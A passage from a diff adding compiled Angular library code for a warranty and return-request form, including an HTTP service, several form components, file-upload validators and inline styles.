return this.http.get(this.url + 'requiredFields?country=' + this.country + '&locale=' + this.locale, this.getOptions());
|
1606
|
+
}
|
1607
|
+
getHelpMessage(jointId, vendorProductId) {
|
1608
|
+
return this.http.get(this.url + 'getHelpMessage?country=' + this.country + '&locale=' + this.locale + '&jointId=' + jointId + '&vendorProductId=' + vendorProductId, this.getOptions());
|
1609
|
+
}
|
1610
|
+
getLocalizedItems() {
|
1611
|
+
return this.http.get(this.url + 'locale?country=' + this.country + '&locale=' + this.locale, this.getOptions());
|
1612
|
+
}
|
1613
|
+
getBlackListedArticles() {
|
1614
|
+
if (this.country === CountriesEnum.DK) {
|
1615
|
+
return this.http.get(this.url + 'blacklisted?country=' + this.country, this.getOptions());
|
1616
|
+
}
|
1617
|
+
return of([]);
|
1618
|
+
}
|
1619
|
+
getCnetCategories() {
|
1620
|
+
return this.http.get(this.url + 'cnetcategories?country=' + this.country + '&locale=' + this.locale, this.getOptions());
|
1621
|
+
}
|
1622
|
+
createCase(data) {
|
1623
|
+
return this.http.post(`${this.url}return?country=${this.country}&locale=${this.locale}`, data, this.getOptions()).pipe(map((response) => {
|
1624
|
+
return response.map(item => new CaseResponse(item === null || item === void 0 ? void 0 : item.caseId, item === null || item === void 0 ? void 0 : item.caseNumber, item === null || item === void 0 ? void 0 : item.caseSource));
|
1625
|
+
}));
|
1626
|
+
}
|
1627
|
+
getOptions() {
|
1628
|
+
return this.configService.getHttpOptions();
|
1629
|
+
}
|
1630
|
+
}
|
1631
|
+
WarrantyService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyService, deps: [{ token: i1.HttpClient }, { token: ConfigService }], target: i0.ɵɵFactoryTarget.Injectable });
|
1632
|
+
WarrantyService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyService, providedIn: 'root' });
|
1633
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyService, decorators: [{
|
1634
|
+
type: Injectable,
|
1635
|
+
args: [{
|
1636
|
+
providedIn: 'root'
|
1637
|
+
}]
|
1638
|
+
}], ctorParameters: function () { return [{ type: i1.HttpClient }, { type: ConfigService }]; } });
|
1639
|
+
|
1640
|
+
class FormHeaderComponent {
|
1641
|
+
}
|
1642
|
+
FormHeaderComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: FormHeaderComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
|
1643
|
+
FormHeaderComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: FormHeaderComponent, selector: "form-header", inputs: { configuration: "configuration" }, ngImport: i0, template: "<div class=\"header\">\r\n <div class=\"header--item\">\r\n <span class=\"header--item-title\">{{'wf.ordernumber' | translate}}</span>\r\n <span class=\"header--item-info\">{{configuration?.defData?.orderNumber}}</span>\r\n </div>\r\n <div class=\"header--item\">\r\n <span class=\"header--item-title\">{{'wf.reference' | translate}}</span>\r\n <span class=\"header--item-info\">{{configuration?.defData?.customerDetails?.customerReference}}</span>\r\n </div>\r\n <div class=\"header--item\">\r\n <span class=\"header--item-title\">{{'wf.company' | translate}}</span>\r\n <span class=\"header--item-info\">{{configuration?.defData?.customerDetails?.customerName}}</span>\r\n </div>\r\n <div class=\"header--item\">\r\n <span class=\"header--item-title\">{{'wf.customernumber' | translate}}</span>\r\n <span class=\"header--item-info\">{{configuration?.defData?.customerDetails?.customerNumber}}</span>\r\n </div>\r\n</div>\r\n\r\n", styles: [".header{display:flex;width:100%;padding:20px 0 25px;border-bottom:1px solid var(--color-grey-80-light)}.header--item{display:flex;flex-direction:column;width:25%;margin:0 5px}.header--item-title{text-transform:uppercase;font-size:.75rem;color:var(--color-grey-20-light);margin:15px 0 0}.header--item-info{font-size:.875rem;line-height:165%;font-weight:600;color:var(--color-grey-40-dark);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}\n"], pipes: { "translate": i4.TranslatePipe } });
|
1644
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: FormHeaderComponent, decorators: [{
|
1645
|
+
type: Component,
|
1646
|
+
args: [{
|
1647
|
+
selector: 'form-header',
|
1648
|
+
templateUrl: './form-header.component.html',
|
1649
|
+
styleUrls: ['./form-header.component.scss']
|
1650
|
+
}]
|
1651
|
+
}], propDecorators: { configuration: [{
|
1652
|
+
type: Input
|
1653
|
+
}] } });
|
1654
|
+
|
1655
|
+
class WarrantyProductsComponent {
|
1656
|
+
constructor() {
|
1657
|
+
this.CaseTypeEnum = CaseTypeEnum;
|
1658
|
+
this.loading$ = new BehaviorSubject(true);
|
1659
|
+
this.orderLines = [];
|
1660
|
+
this.serialsSelectAll = true;
|
1661
|
+
this.warrantyForm = new FormGroup({});
|
1662
|
+
}
|
1663
|
+
serialNumbers(lineForm) {
|
1664
|
+
return lineForm.get('serialNumbers');
|
1665
|
+
}
|
1666
|
+
displaySerialsNotFound(form) {
|
1667
|
+
return !form.value.serialNumbers.some(i => i.isVisible);
|
1668
|
+
}
|
1669
|
+
onSerialNumberChecked(form, value) {
|
1670
|
+
const serials = form.get("serialNumbers");
|
1671
|
+
if (this.configuration.isWarranty) {
|
1672
|
+
const checkedValueIndex = serials.value.findIndex((sn) => sn.serial !== value && sn.isChecked);
|
1673
|
+
if (checkedValueIndex != -1) {
|
1674
|
+
serials.at(checkedValueIndex).get("isChecked").setValue(false);
|
1675
|
+
}
|
1676
|
+
}
|
1677
|
+
else {
|
1678
|
+
const allSelected = serials.value.every(sn => sn.isChecked);
|
1679
|
+
form.get("serialNumbersSelectAll").setValue(allSelected);
|
1680
|
+
}
|
1681
|
+
}
|
1682
|
+
onSerialsSelectAllChecked(form) {
|
1683
|
+
const checked = form.get("serialNumbersSelectAll").value;
|
1684
|
+
const serials = form.get("serialNumbers");
|
1685
|
+
serials.controls.forEach(c => c.get("isChecked").setValue(checked));
|
1686
|
+
}
|
1687
|
+
onReturnAllChecked() {
|
1688
|
+
const checked = this.warrantyForm.get("returnAllItems").value;
|
1689
|
+
this.lines.controls.forEach(c => c.get("isChecked").setValue(checked));
|
1690
|
+
}
|
1691
|
+
displayTypeTotalAmountAll(i) {
|
1692
|
+
return this.orderLines[i].quantity > 1;
|
1693
|
+
}
|
1694
|
+
updateQuantityToAll(form, i) {
|
1695
|
+
const quantity = form.get("quantity");
|
1696
|
+
quantity.setValue(this.orderLines[i].quantity);
|
1697
|
+
}
|
1698
|
+
checkedLinesCount() {
|
1699
|
+
if (this.warrantyForm.value.lines) {
|
1700
|
+
return this.warrantyForm.value.lines.reduce((acc, cur) => cur.isChecked ? ++acc : acc, 0);
|
1701
|
+
}
|
1702
|
+
return 0;
|
1703
|
+
}
|
1704
|
+
orderlineIsValid(line, articles) {
|
1705
|
+
if (!this.configuration.OrderIsNull) {
|
1706
|
+
if (line) {
|
1707
|
+
if (this.configuration.isCompletedOrderCase) {
|
1708
|
+
return !articles.includes(line.itemNo);
|
1709
|
+
}
|
1710
|
+
return true;
|
1711
|
+
}
|
1712
|
+
}
|
1713
|
+
return false;
|
1714
|
+
}
|
1715
|
+
formHasControl(controlName) {
|
1716
|
+
return this.warrantyForm.contains(controlName);
|
1717
|
+
}
|
1718
|
+
openCard(form, index) {
|
1719
|
+
const isChecked = form.get("isChecked");
|
1720
|
+
if (!form.value.isActive) {
|
1721
|
+
isChecked.setValue(true);
|
1722
|
+
}
|
1723
|
+
}
|
1724
|
+
lineFormIsValid(form) {
|
1725
|
+
if (!form.valid)
|
1726
|
+
return false;
|
1727
|
+
const info = form.get("info");
|
1728
|
+
const reqFields = info.get("reqFields");
|
1729
|
+
if (Object.keys(reqFields.controls).length > 0) {
|
1730
|
+
return true;
|
1731
|
+
}
|
1732
|
+
return false;
|
1733
|
+
}
|
1734
|
+
}
|
1735
|
+
WarrantyProductsComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyProductsComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
|
1736
|
+
WarrantyProductsComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WarrantyProductsComponent, selector: "warranty-products", inputs: { configuration: "configuration", orderLines: "orderLines", warrantyForm: "warrantyForm", lines: "lines" }, ngImport: i0, template: "<h3>\r\n {{configuration.titleProductForm | translate}}\r\n <span *ngIf=\"configuration.isCompletedOrderCase\">\r\n ({{checkedLinesCount()}})\r\n </span>\r\n</h3>\r\n\r\n<div class=\"form-container\"\r\n [formGroup]=\"warrantyForm\">\r\n\r\n <div class=\"return__products--item card\"\r\n *ngIf=\"configuration.OrderIsNull\">\r\n <ad-text [required]=\"false\"\r\n [maxlength]=\"50\"\r\n formControlName=\"serialNumber\">\r\n {{'wf.serialnumber'|translate}}\r\n </ad-text>\r\n\r\n <ad-text *ngIf=\"configuration.defConfig.isAnonymous\"\r\n [required]=\"false\"\r\n [maxlength]=\"50\"\r\n formControlName=\"productNumber\">\r\n {{'wf.productNumber'|translate}}\r\n </ad-text>\r\n\r\n <ad-text *ngIf=\"configuration.defConfig.isAnonymous\"\r\n [required]=\"false\"\r\n [maxlength]=\"50\"\r\n formControlName=\"productDescription\">\r\n {{'wf.productModel'|translate}}\r\n </ad-text>\r\n </div>\r\n\r\n <div\r\n *ngIf=\"configuration.returnWithSameReason && formHasControl('returnAllItems')\">\r\n <ad-checkbox formControlName=\"returnAllItems\">\r\n {{\"wf.returnWithSameReason\"|translate}}\r\n </ad-checkbox>\r\n </div>\r\n\r\n <div formArrayName=\"lines\"\r\n *ngIf=\"lines\">\r\n\r\n <div class=\"return__products--item\"\r\n [ngClass]=\"{'active': lineForm.value.isActive, \r\n 'formIncomplete' : lineForm.value.isChecked && !lineFormIsValid(lineForm), \r\n 'formComplete': lineForm.value.isChecked && lineFormIsValid(lineForm) }\"\r\n *ngFor=\"let lineForm of lines.controls; index as i\"\r\n [formGroupName]=\"i\">\r\n <div class=\"product-info\">\r\n <ad-checkbox *ngIf=\"configuration.isCompletedOrderCase\"\r\n formControlName=\"isChecked\"></ad-checkbox>\r\n\r\n <div class=\"item__header\"\r\n (click)=\"openCard(lineForm, i)\">\r\n <span class=\"item__header--title\">{{lineForm.value.productDescription}}</span>\r\n <span class=\"subtitle\"\r\n *ngIf=\"lineForm.value.serialNumbers?.length > 0\">\r\n <span\r\n *ngIf=\"configuration.isWarranty && lineForm.value.serialNumbers?.length > 1\">{{'wf.chooseserialnumberwarranty'|translate}}</span>\r\n <span *ngIf=\"!configuration.isWarranty\">{{\"wf.chooseserialnumber\"|translate}}</span>\r\n </span>\r\n <span class=\"subtitle\"\r\n *ngIf=\"!lineForm.value.serialNumbers || lineForm.value.serialNumbers.length === 0\">{{'wf.typetotalamount'|translate}}</span>\r\n </div>\r\n </div>\r\n\r\n <div *ngIf=\"lineForm.value.isActive\"\r\n class=\"item__list\">\r\n <div *ngIf=\"lineForm.value.serialNumbers?.length > 0\">\r\n <ad-text *ngIf=\"configuration.isWarranty && lineForm.value.serialNumbers.length > 20\"\r\n formControlName=\"serialNumbersSearch\"\r\n type=\"text\">\r\n {{\"wf.enterserialnumber\"|translate}}\r\n </ad-text>\r\n <span *ngIf=\"displaySerialsNotFound(lineForm)\">{{\"wf.noserialnumberfound\"|translate}}</span>\r\n\r\n <ad-checkbox class=\"select-all\"\r\n *ngIf=\"!configuration.isWarranty\"\r\n formControlName=\"serialNumbersSelectAll\"\r\n (change)=\"onSerialsSelectAllChecked(lineForm)\">\r\n {{\"wf.selectallserial\"|translate}}\r\n </ad-checkbox>\r\n\r\n <div formArrayName=\"serialNumbers\">\r\n <div *ngFor=\"let serialForm of serialNumbers(lineForm).controls; index as j\"\r\n [formGroupName]=\"j\">\r\n <ad-checkbox *ngIf=\"serialForm.value.isVisible\"\r\n [disabled]=\"configuration.isWarranty && lineForm.value.serialNumbers.length === 1\"\r\n (change)=\"onSerialNumberChecked(lineForm, serialForm.value.serial)\"\r\n formControlName=\"isChecked\">\r\n {{serialForm.value.serial}}\r\n </ad-checkbox>\r\n </div>\r\n </div>\r\n </div>\r\n\r\n <div *ngIf=\"!(lineForm.value.serialNumbers?.length > 0)\"\r\n class=\"total__amount\">\r\n <ad-text class=\"field\"\r\n [required]=\"false\"\r\n type=\"number\"\r\n [maxlength]=\"5\"\r\n formControlName=\"quantity\">\r\n </ad-text>\r\n <ad-button *ngIf=\"displayTypeTotalAmountAll(i)\"\r\n size=\"small\"\r\n variant=\"primary\"\r\n (onClick)=\"updateQuantityToAll(lineForm, i)\">\r\n {{\"wf.all\"|translate}}\r\n </ad-button>\r\n </div>\r\n </div>\r\n </div>\r\n </div>\r\n</div>", styles: [":root{--color-primary: hsl(202, 9%, 33%);--color-secondary: hsl(87, 69%, 30%);--color-grey-40-dark: hsl(202, 9%, 13%);--color-grey-20-dark: hsl(202, 9%, 23%);--color-grey: hsl(202, 9%, 33%);--color-grey-20-light: hsl(202, 9%, 43%);--color-grey-40-light: hsl(202, 9%, 53%);--color-grey-60-light: hsl(202, 9%, 63%);--color-grey-80-light: hsl(202, 9%, 73%);--color-grey-100-light: hsl(202, 9%, 93%);--color-green: #008a00;--color-green-hover: #007c00;--text-standard-color: var(--color-grey-40-dark);--background-standard-hover-color: hsl(180, 5%, 96%);--color-btn-primary-default: hsl(202, 9%, 33%);--color-btn-primary-hover: hsl(200, 9%, 13%);--color-btn-primary-label: hsl(255, 100%, 100%);--color-btn-secondary-default: hsl(87, 69%, 40%);--color-btn-secondary-hover: hsl(87, 69%, 30%);--color-btn-secondary-label: hsl(255, 100%, 100%);--color-btn-danger-default: hsl(358, 56%, 50%);--color-btn-danger-hover: hsl(358, 56%, 42%);--color-btn-danger-label: hsl(255, 100%, 100%);--color-btn-disabled-default: hsl(200, 14%, 60%);--color-btn-disabled-label: hsl(255, 100%, 100%);--color-white: hsl(255, 100%, 100%);--transition-btn: cubic-bezier(.4, 0, 1, 1);--element-scrollbar-thumb: hsl(204, 4.9%, 60%);--element-scrollbar-track: hsl(180, 2.9%, 93.1%)}h3{font-size:1.1666666667rem;letter-spacing:-.05859375rem;margin:20px 0;color:#3e464a;line-height:1.25em;font-weight:400}.return__products--item{width:100%;display:flex;flex-direction:column;border:1px solid #edeeef;box-shadow:0 2px 8px #4d575d1a;margin:13px 0;animation:fadeIn .4s;transition:height .2s;overflow:auto}.return__products--item .item__list{width:100%;display:flex;flex-direction:column;margin:0 0 10px;opacity:0}.return__products--item.active{height:auto}.return__products--item.active .item__list{opacity:1;pointer-events:auto;padding:12px 40px}.return__products--item.active .item__list .select-all{margin:0}.return__products--item.active .item__list .subtitle{font-size:.8125rem;color:#71797d;margin:6px 0 0}.return__products--item.formIncomplete{border-left:3px solid #d62429}.return__products--item.formComplete{border-left:3px solid #008a00}.return__products--item .item__header{display:flex;flex-direction:column;padding:12px 40px;width:100%}.return__products--item .item__header--title{font-size:.875rem;font-weight:600;line-height:140%}.return__products--item .item__header .subtitle{font-size:.8125rem;color:#71797d;margin:6px 0 0}.return__products--item .field{max-width:80px;margin-bottom:15px;margin-right:20px}.return__products--item .product-info{display:flex}.return__products--item .product-info ad-checkbox{width:5px;margin-left:20px;margin-top:15px}.return__products--item:hover{background-color:#f8f8f9;cursor:pointer}.return__products--item:hover.active{cursor:auto}.card{position:relative;display:flex;width:100%;background-color:#fff;box-shadow:0 2px 10px #4d575d26;border-radius:4px;margin:10px 0;transition:background-color .2s,border-left-color .3s,transform .2s;padding:20px 10px 20px 7px;border-left:solid 3px transparent}.total__amount{display:flex}\n"], components: [{ type: i1$1.TextInputComponent, selector: "ad-text", inputs: ["type", "variant", "disabled", "placeholder"] }, { type: i1$1.ToggleCheckboxComponent, selector: "ad-checkbox", inputs: ["id", "disabled"] }, { type: i1$1.ButtonComponent, selector: "ad-button", inputs: ["type", "variant", "width", "size", "className", "loading", "disabled"], outputs: ["onClick"] }], directives: [{ type: i2.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i3.NgControlStatusGroup, selector: "[formGroupName],[formArrayName],[ngModelGroup],[formGroup],form:not([ngNoForm]),[ngForm]" }, { type: i3.FormGroupDirective, selector: "[formGroup]", inputs: ["formGroup"], outputs: ["ngSubmit"], exportAs: ["ngForm"] }, { type: i3.NgControlStatus, selector: "[formControlName],[ngModel],[formControl]" }, { type: i3.FormControlName, selector: "[formControlName]", inputs: ["disabled", "formControlName", "ngModel"], outputs: ["ngModelChange"] }, { type: i3.RequiredValidator, selector: ":not([type=checkbox])[required][formControlName],:not([type=checkbox])[required][formControl],:not([type=checkbox])[required][ngModel]", inputs: ["required"] }, { type: i3.MaxLengthValidator, selector: "[maxlength][formControlName],[maxlength][formControl],[maxlength][ngModel]", inputs: ["maxlength"] }, { type: i3.FormArrayName, selector: "[formArrayName]", inputs: ["formArrayName"] }, { type: i2.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i2.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }, { type: i3.FormGroupName, selector: "[formGroupName]", inputs: ["formGroupName"] }], pipes: { "translate": i4.TranslatePipe } });
|
1737
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyProductsComponent, decorators: [{
|
1738
|
+
type: Component,
|
1739
|
+
args: [{
|
1740
|
+
selector: 'warranty-products',
|
1741
|
+
templateUrl: './warranty-products.component.html',
|
1742
|
+
styleUrls: ['./warranty-products.component.scss']
|
1743
|
+
}]
|
1744
|
+
}], ctorParameters: function () { return []; }, propDecorators: { configuration: [{
|
1745
|
+
type: Input
|
1746
|
+
}], orderLines: [{
|
1747
|
+
type: Input
|
1748
|
+
}], warrantyForm: [{
|
1749
|
+
type: Input
|
1750
|
+
}], lines: [{
|
1751
|
+
type: Input
|
1752
|
+
}] } });
|
1753
|
+
|
1754
|
+
var HelpMessageTypeEnum;
|
1755
|
+
(function (HelpMessageTypeEnum) {
|
1756
|
+
HelpMessageTypeEnum[HelpMessageTypeEnum["Default"] = 0] = "Default";
|
1757
|
+
HelpMessageTypeEnum[HelpMessageTypeEnum["DisclaimerDk"] = 1] = "DisclaimerDk";
|
1758
|
+
HelpMessageTypeEnum[HelpMessageTypeEnum["BelowAdmFee"] = 2] = "BelowAdmFee";
|
1759
|
+
HelpMessageTypeEnum[HelpMessageTypeEnum["ReturnLapsed"] = 3] = "ReturnLapsed";
|
1760
|
+
HelpMessageTypeEnum[HelpMessageTypeEnum["OpenedPackage"] = 4] = "OpenedPackage";
|
1761
|
+
})(HelpMessageTypeEnum || (HelpMessageTypeEnum = {}));
|
1762
|
+
|
1763
|
+
class LocalizedItem {
|
1764
|
+
constructor(id, text, locale, varFriendlyName, optionId) {
|
1765
|
+
this.id = id;
|
1766
|
+
this.text = text;
|
1767
|
+
this.locale = locale;
|
1768
|
+
this.varFriendlyName = varFriendlyName;
|
1769
|
+
this.optionId = optionId;
|
1770
|
+
}
|
1771
|
+
}
|
1772
|
+
|
1773
|
+
function maxFilesValidator(maxFiles) {
|
1774
|
+
return (control) => {
|
1775
|
+
if (control.value) {
|
1776
|
+
return control.value.length > maxFiles ? { maxFiles: maxFiles } : null;
|
1777
|
+
}
|
1778
|
+
return null;
|
1779
|
+
};
|
1780
|
+
}
|
1781
|
+
|
1782
|
+
function maxFileSizeValidator(maxSize) {
|
1783
|
+
return (control) => {
|
1784
|
+
if (control.value) {
|
1785
|
+
const files = [...control.value].filter(s => s.size > maxSize * 1024 * 1024);
|
1786
|
+
return files.length > 0 ? { maxFileSize: maxSize } : null;
|
1787
|
+
}
|
1788
|
+
return null;
|
1789
|
+
};
|
1790
|
+
}
|
1791
|
+
|
1792
|
+
function fileTypeNotSupportedValidator(supportedFileTypes) {
|
1793
|
+
return (control) => {
|
1794
|
+
if (control.value) {
|
1795
|
+
const lowercaseTypes = supportedFileTypes.map(t => t.toLowerCase());
|
1796
|
+
const files = [...control.value];
|
1797
|
+
for (let file of files) {
|
1798
|
+
const fileName = file.name.split('.');
|
1799
|
+
if (fileName.length > 1) {
|
1800
|
+
const ext = `.${fileName.pop().toLowerCase()}`;
|
1801
|
+
if (!lowercaseTypes.includes(ext)) {
|
1802
|
+
return { fileTypeNotSupported: { supportedTypes: supportedFileTypes } };
|
1803
|
+
}
|
1804
|
+
}
|
1805
|
+
else {
|
1806
|
+
return { fileTypeNotSupported: { supportedTypes: supportedFileTypes } };
|
1807
|
+
}
|
1808
|
+
}
|
1809
|
+
}
|
1810
|
+
return null;
|
1811
|
+
};
|
1812
|
+
}
|
1813
|
+
|
1814
|
+
class HelpMessageComponent {
|
1815
|
+
constructor() {
|
1816
|
+
this.messages = [];
|
1817
|
+
this.messageType = HelpMessageTypeEnum.Default;
|
1818
|
+
}
|
1819
|
+
get HelpMessageTypeEnum() {
|
1820
|
+
return HelpMessageTypeEnum;
|
1821
|
+
}
|
1822
|
+
displayMessage() {
|
1823
|
+
switch (this.messageType) {
|
1824
|
+
case HelpMessageTypeEnum.DisclaimerDk:
|
1825
|
+
return this.displayDenmarkDisclaimer();
|
1826
|
+
case HelpMessageTypeEnum.BelowAdmFee:
|
1827
|
+
case HelpMessageTypeEnum.ReturnLapsed:
|
1828
|
+
case HelpMessageTypeEnum.OpenedPackage:
|
1829
|
+
return true;
|
1830
|
+
default:
|
1831
|
+
return false;
|
1832
|
+
}
|
1833
|
+
}
|
1834
|
+
displayDenmarkDisclaimer() {
|
1835
|
+
if (!this.configuration.OrderIsNull &&
|
1836
|
+
this.parentForm &&
|
1837
|
+
this.parentForm.value.vendor &&
|
1838
|
+
this.parentForm.value.category &&
|
1839
|
+
this.configuration.defConfig.country === CountriesEnum.DK &&
|
1840
|
+
!this.configuration.isWarranty) {
|
1841
|
+
return true;
|
1842
|
+
}
|
1843
|
+
return false;
|
1844
|
+
}
|
1845
|
+
}
|
1846
|
+
HelpMessageComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: HelpMessageComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
|
1847
|
+
HelpMessageComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: HelpMessageComponent, selector: "help-message", inputs: { configuration: "configuration", parentForm: "parentForm", message: "message", messages: "messages", messageType: "messageType" }, ngImport: i0, template: "<div class=\"help__message\" *ngIf=\"message && displayMessage()\">\r\n <div class=\"help__message--item\">\r\n <div [innerHtml]=\"message | translate\"></div>\r\n </div>\r\n</div> \r\n\r\n<div class=\"help__message\" *ngIf=\"messages?.length > 0\">\r\n <div class=\"help__message--item\"\r\n *ngFor=\"let msg of messages\">\r\n <div [innerHtml]=\"msg.text\"></div>\r\n </div>\r\n</div>", styles: [":root{--color-primary: hsl(202, 9%, 33%);--color-secondary: hsl(87, 69%, 30%);--color-grey-40-dark: hsl(202, 9%, 13%);--color-grey-20-dark: hsl(202, 9%, 23%);--color-grey: hsl(202, 9%, 33%);--color-grey-20-light: hsl(202, 9%, 43%);--color-grey-40-light: hsl(202, 9%, 53%);--color-grey-60-light: hsl(202, 9%, 63%);--color-grey-80-light: hsl(202, 9%, 73%);--color-grey-100-light: hsl(202, 9%, 93%);--color-green: #008a00;--color-green-hover: #007c00;--text-standard-color: var(--color-grey-40-dark);--background-standard-hover-color: hsl(180, 5%, 96%);--color-btn-primary-default: hsl(202, 9%, 33%);--color-btn-primary-hover: hsl(200, 9%, 13%);--color-btn-primary-label: hsl(255, 100%, 100%);--color-btn-secondary-default: hsl(87, 69%, 40%);--color-btn-secondary-hover: hsl(87, 69%, 30%);--color-btn-secondary-label: hsl(255, 100%, 100%);--color-btn-danger-default: hsl(358, 56%, 50%);--color-btn-danger-hover: hsl(358, 56%, 42%);--color-btn-danger-label: hsl(255, 100%, 100%);--color-btn-disabled-default: hsl(200, 14%, 60%);--color-btn-disabled-label: hsl(255, 100%, 100%);--color-white: hsl(255, 100%, 100%);--transition-btn: cubic-bezier(.4, 0, 1, 1);--element-scrollbar-thumb: hsl(204, 4.9%, 60%);--element-scrollbar-track: hsl(180, 2.9%, 93.1%)}.help__message{display:flex;flex-direction:column;width:100%}.help__message--item{width:100%}.help__message--item>div{padding:20px;border-left:3px solid #008a00;background-color:#f8f8f9;margin:25px 0;width:100%;line-height:175%}.help__message--item>div a{color:#1f2325;font-weight:700;text-decoration:underline;display:inline-block;white-space:unset;word-break:break-all}.help__message--item>div a:hover{background-color:transparent;text-decoration:none}.help__message--item>div a:after{content:none}\n"], directives: [{ type: i2.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i2.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }], pipes: { "translate": i4.TranslatePipe }, encapsulation: i0.ViewEncapsulation.None });
|
1848
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: HelpMessageComponent, decorators: [{
|
1849
|
+
type: Component,
|
1850
|
+
args: [{
|
1851
|
+
selector: 'help-message',
|
1852
|
+
templateUrl: './help-message.component.html',
|
1853
|
+
styleUrls: ['./help-message.component.scss'],
|
1854
|
+
encapsulation: ViewEncapsulation.None
|
1855
|
+
}]
|
1856
|
+
}], propDecorators: { configuration: [{
|
1857
|
+
type: Input
|
1858
|
+
}], parentForm: [{
|
1859
|
+
type: Input
|
1860
|
+
}], message: [{
|
1861
|
+
type: Input
|
1862
|
+
}], messages: [{
|
1863
|
+
type: Input
|
1864
|
+
}], messageType: [{
|
1865
|
+
type: Input
|
1866
|
+
}] } });
|
1867
|
+
|
1868
|
+
class InvoiceDataComponent {
|
1869
|
+
constructor() {
|
1870
|
+
this.reuseInvoiceInfo = false;
|
1871
|
+
this.transportOptions = [];
|
1872
|
+
this.reqFields = new FormGroup({});
|
1873
|
+
}
|
1874
|
+
ngOnInit() {
|
1875
|
+
var _a, _b;
|
1876
|
+
this.reuseInvoiceInfo = this.configuration.defData.invoice ? true : false;
|
1877
|
+
this.offerInformation = this.reqLocale === 'fieldInvoiceInfo' ? 'wf.invoicedataOfferInformation' : 'wf.invoicedataPhoneOfferInformation';
|
1878
|
+
if ((_a = this.configuration.defData.customerDetails) === null || _a === void 0 ? void 0 : _a.customerNumber) {
|
1879
|
+
this.reqFields.patchValue({
|
1880
|
+
"returnHardware-invoiceInformation": {
|
1881
|
+
orgReference: (_b = this.configuration.defData.customerDetails) === null || _b === void 0 ? void 0 : _b.customerNumber
|
1882
|
+
}
|
1883
|
+
});
|
1884
|
+
}
|
1885
|
+
}
|
1886
|
+
setInvoiceInfo() {
|
1887
|
+
var _a, _b;
|
1888
|
+
if ((_a = this.configuration.defData.invoice) === null || _a === void 0 ? void 0 : _a.invoiceAddress) {
|
1889
|
+
this.reqFields.patchValue({
|
1890
|
+
"returnHardware-invoiceInformation": {
|
1891
|
+
invoiceAddress: this.configuration.defData.invoice.invoiceAddress
|
1892
|
+
}
|
1893
|
+
});
|
1894
|
+
}
|
1895
|
+
if ((_b = this.configuration.defData.invoice) === null || _b === void 0 ? void 0 : _b.invoiceRef) {
|
1896
|
+
this.reqFields.patchValue({
|
1897
|
+
"returnHardware-invoiceInformation": {
|
1898
|
+
invoiceReference: this.configuration.defData.invoice.invoiceRef
|
1899
|
+
}
|
1900
|
+
});
|
1901
|
+
}
|
1902
|
+
this.reuseInvoiceInfo = false;
|
1903
|
+
}
|
1904
|
+
;
|
1905
|
+
dontUse() {
|
1906
|
+
this.reuseInvoiceInfo = false;
|
1907
|
+
}
|
1908
|
+
}
|
1909
|
+
InvoiceDataComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: InvoiceDataComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
|
1910
|
+
InvoiceDataComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: InvoiceDataComponent, selector: "invoice-data", inputs: { configuration: "configuration", reqFields: "reqFields", reqLocale: "reqLocale", reuseInvoiceInfo: "reuseInvoiceInfo", warrantyData: "warrantyData" }, ngImport: i0, template: "<h2>{{'wf.invoicedataHeader' | translate}}</h2>\r\n<div [innerHtml]=\"offerInformation|translate\"></div>\r\n<div [formGroup]=\"reqFields\">\r\n <div formGroupName=\"returnHardware-invoiceInformation\">\r\n <ad-checkbox formControlName=\"accept\">{{'wf.acceptoffer' | translate}}</ad-checkbox>\r\n\r\n <div\r\n *ngIf=\"reqFields.value['returnHardware-invoiceInformation'].accept && !configuration.defConfig.isAnonymous && reuseInvoiceInfo\">\r\n <h4>{{'wf.informationfromlastticket'|translate}}</h4>\r\n <div class=\"actions\">\r\n <ad-button size=\"large\"\r\n variant=\"primary\"\r\n (onClick)=\"setInvoiceInfo()\">{{'wf.uselastinvoiceinformation'|translate}}\r\n </ad-button>\r\n <span class=\"close-action\"\r\n (click)=\"dontUse()\">{{'wf.dontadd'|translate}}</span>\r\n </div>\r\n </div>\r\n\r\n <ad-text formControlName=\"orgReference\"\r\n [disabled]=\"!reqFields.value['returnHardware-invoiceInformation'].accept\"\r\n type=\"text\">\r\n {{'wf.invoicedatauCustumeridororder' | translate}}\r\n </ad-text>\r\n\r\n <ad-text formControlName=\"invoiceAddress\"\r\n [disabled]=\"!reqFields.value['returnHardware-invoiceInformation'].accept\"\r\n 